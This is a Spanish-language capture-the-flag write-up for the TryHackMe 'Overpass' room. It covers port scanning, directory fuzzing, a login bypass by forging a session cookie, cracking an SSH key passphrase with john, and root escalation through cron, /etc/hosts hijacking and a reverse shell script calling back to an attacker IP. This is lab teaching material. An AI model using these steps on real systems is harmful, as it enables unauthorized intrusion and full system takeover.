Overpass


January 7, 20235 minutes

https://tryhackme.com/room/overpass

IP Atacante = 10.10.10.10

IP Víctima = 10.10.170.40

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.170.40
PING 10.10.170.40 (10.10.170.40) 56(84) bytes of data.
64 bytes from 10.10.170.40: icmp_seq=1 ttl=63 time=218 ms

--- 10.10.170.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 217.508/217.508/217.508/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.170.40 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.170.40
   5[*] Open ports: 22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p 22,80 -sC -sV 10.10.170.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 20:15 CET
Nmap scan report for 10.10.170.40
Host is up (0.052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37968598d1009c1463d9b03475b1f957 (RSA)
|   256 5375fac065daddb1e8dd40b8f6823924 (ECDSA)
|_  256 1c4ada1f36546da6c61700272e67759c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass

Web

Con el whatweb podemos ver más información sobre la web:

❯ whatweb 10.10.170.40
http://10.10.170.40 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.170.40], Script, Title[Overpass], X-UA-Compatible[IE=edge]

Al entrar a la web con lo primero que nos encontramos es esta página

Buscando Subdirectorios

Con wfuzz vamos a buscar subdirectorios mediante el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000069:   301        0 L      0 W        0 Ch        "downloads"                                                                                                                 
000000039:   301        0 L      0 W        0 Ch        "img"                                                                                                                       
000000156:   301        0 L      0 W        0 Ch        "aboutus"                                                                                                                   
000000259:   301        2 L      3 W        42 Ch       "admin"                                                                                                                     
000000550:   301        0 L      0 W        0 Ch        "css" 

Infiltración

Dentro del /admin hay un panel de login. Viendo el codigó del /admin se puede ver que hay un login.js

<script src="/login.js"></script>

El cual contiene lo siguiente:

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

Lo que hace es: Se verifica la respuesta del servidor para comprobar si contiene la cadena “Incorrect credentials” (credenciales incorrectas), y si no se recibe, el script establece una cookie llamada “SessionToken” con el valor de la respuesta del servidor y redirige al usuario a la página “/admin”.

Entonces lo que podemos hacer es crear una cookie con el nombre “SessionToken” y el value random. Al recargar ya podemos entrar

Lo que vemos al recargar la página, es una RSA private key.

Esa private key la vamos a guardar en un archivo llamado id_rsa

Primero le damos los permisos:

chmod 600 id_rsa

En la rsa private key vemos que pone que està encriptada.

Para conesguir la contraseña vamos a sacar el hash con ssh2john y después con john mediante un diccionario vamos a probar de crackearlo

ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Ya tenemos la contraseña

Ahora nos conectamos por ssh como james con la id_rsa

ssh -i id_rsa james@10.10.45.54

Escalada de privilegios

Con un cat /etc/crontab

Vemos que hace como root un curl a overpass.thm/downloads/src/buildscript.sh y después lo ejecuta con bash.

Tenemos permisos para editar el /etc/hosts

Añadimos lo siguiente en el /etc/hosts

10.10.10.10 overpass.thm

Después desde nuestra máquina creamos las carpetas y el archivo que salen en la url del crontab

❯ cat downloads/src/buildscript.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: downloads/src/buildscript.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Nos abrimos un servidor con python

sudo python3 -m http.server 80

Y por último nos ponemos en escucha por el puerto 443 con netcat

nc -nlvp 443

Nos esperamos un rato y ya somos root